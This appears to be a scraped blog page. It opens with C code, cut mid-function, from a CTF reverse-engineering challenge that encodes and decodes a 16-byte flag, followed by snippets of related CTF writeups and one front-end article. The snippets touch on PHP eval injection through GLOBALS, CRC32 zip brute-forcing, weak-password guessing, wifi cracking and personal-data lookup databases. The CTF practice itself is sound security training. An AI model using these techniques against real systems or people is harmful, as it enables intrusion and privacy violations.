Flag[i] ^= decrypt[i];

if (i % 2 == 0 && i < 9)

Flag[i] -= 40;

if (i % 2 != 0 && i < 9)

Flag[i] += 1;

if (i>=9) {

if (i < 12) {

Flag[i] -= 50;

} else {

Flag[i] -= 9;

}

}

}

}

void Encode2(unsigned char *decrypt, unsigned char * Flag) {

for (int i = 0; i < 16; i++) {

Flag[i] ^= 29;

if (i%2 != 0) {

Swap(&Flag[i-1],&Flag[i]);

}

}

Encode1(decrypt, Flag);

}

void Swap(unsigned char *p1, unsigned char *p2) {

char temp;

temp = *p1;

*p1 = *p2;

*p2 = temp;

}

int Decode(unsigned char * Flag) {

int i = Flag[0] - 199 + Flag[1] - 171 + Flag[2] - 93 + Flag[3] - 153 + Flag[4] - 6 + Flag[5] - 38 + Flag[6] - 127 + Flag[7] - 76 + Flag[8] - 79 + Flag[9] - 177 + Flag[10] - 67 + Flag[11] - 29 + Flag[12] - 122 + Flag[13] - 144 + Flag[14] - 135 + Flag[15] - 230 - 15;

return i;

}

时间: 2024-10-03 14:14:39

2016 SWPU CTF的WriteUp的相关文章

0ops CTF/0CTF writeup

0×00 0CTF『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CTF. 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导,由上海交通大学信息网络安全协会承办,是2014信息安全技能竞赛校园赛首站.0CTF注册与参赛地址为http://ctf.0ops.net. 比赛时间为北京时间2014年3月1日至2日,每天7时至23时,共32小时.』 看官方微博,这个比赛本来是面向上交校内的,就是校外可以做题但是不发奖,后来也给校外发奖了,整体感觉

ctf题目writeup(4)

2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: 一看就是jsfuck了....这种形式的,可以在线工具,或者直接f12 复制粘贴到console里面执行: 出错了....检查一下:发现最后少了个匹配的] 加上后还是报错 那就干错把首位的那个去掉: not function... 那就把最后的括号去掉: 所以答案就是: flag{f_f_l_u_a

ctf题目writeup(5)

2019.2.1 今天继续bugku的隐写杂项题:题目链接:https://ctf.bugku.com/challenges 1. 这道题下载后用wireshark打开...看了好久也没看出个所以然,最后找到个这个: 应该是md564位,跑去cmd5碰碰运气并不行.... 然后自己编了个1391040¥¥¥¥的字典,用MD5crack试一下,发现跑不出来,可能这个key并不是那个手机号... 然后看大佬们的wp 原来是用linux的工具:(这个方法估计现实生活中也可以破解wifi) 首先把这个文

ctf题目writeup(6)

2019.2.2 依旧是bugku上面的题目,地址:https://ctf.bugku.com/challenges 1. 解压后是60多个out.zip,都是真加密,里面都是1kb的data.txt 也没有密码的提示.所以估计就得写脚本crc32爆破了.(一个txt 4字节,咱们不考虑中文, 那就是4个英文字符或者英文符号啥的.) 这里看了大佬们说的,大佬们直接看出来是base64了....所以那句话就用了 += 脚本如下:(python2.7运行才行,3会报错的.) #coding:utf-

ctf题目writeup(8)

2019.2.3 继续做别的提.bugku的密码学和杂项都做完了,清清其他自己感兴趣(能蒙对)的. 1. 刚开始寻思是不是弄个字典,然后抓包或者python爆破下. 结果随便试 KEY{zs19970315}就对了... 2. 下载后是个伪加密zip. winhex改一下: 打开txt: 之后得需要社工库了...就没办法(得FQ.) 看了别人的直接用了: flag{15206164164} 3. 尝试百度 孤长离...啥都没有. 后来才知道 这是百度贴吧的一个东西: 提示是弱口令.而且这个邮箱好

ctf题目writeup(2)

2019.1.29 题目地址: https://www.ichunqiu.com/battalion 1. 点开链接: include "flag.php";$a = @$_REQUEST['hello'];if(!preg_match('/^\w*$/',$a )){  die('ERROR');}eval("var_dump($$a);");show_source(__FILE__);?> 一段代码,看到这个$a 应该是全局变量,post个GLOBALS试

【CTF】ASM-Pico CTF 2014 Snippet

[Title]Pico CTF 2014 Write-up snippet [Description] We found this program snippet.txt, but we're having some trouble figuring it out. What's the value of %eax when the last instruction (the NOP) runs? Hint: You may want to convert the assembly into s

【System Log】7月14日—7月29日

本日志由系统自动生成. 从7月14日起便按照心想事成的节奏进入了实验室.打酱油.周末又去学活值班,生活的框架还是很不错的. 1.基于Hadoop的Flume,zooKeeper,这些东西算是明白了个大概. 2.第一周大概学习了javascript.jquery.css.ci框架(php)这些基本的东西,然后大概搭了个大创网站的架子出来. 3.第二周周末开始写android,答应别人要开发的一个小游戏,但是写着写着就觉得压力大写不出来. 4.中间还抽时间看了程杰的大话设计模式,和一些人ctf的wr

聊一聊前端模板与渲染那些事儿

欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码): https://segmentfault.com/blog/frontenddriver 作为现代应用,ajax的大量使用,使得前端工程师们日常的开发少不了拼装模板,渲染模板.我们今天就来聊聊,拼装与渲染模板的那些事儿. 如果喜欢本文请点击右侧的推荐哦,你的推荐会变为我继续更文的动力 1 页面级的渲染 在刚有web的时候,前端与后端的交互,非常直白,浏览器端发出URL,后端返回一张拼好了的HTML串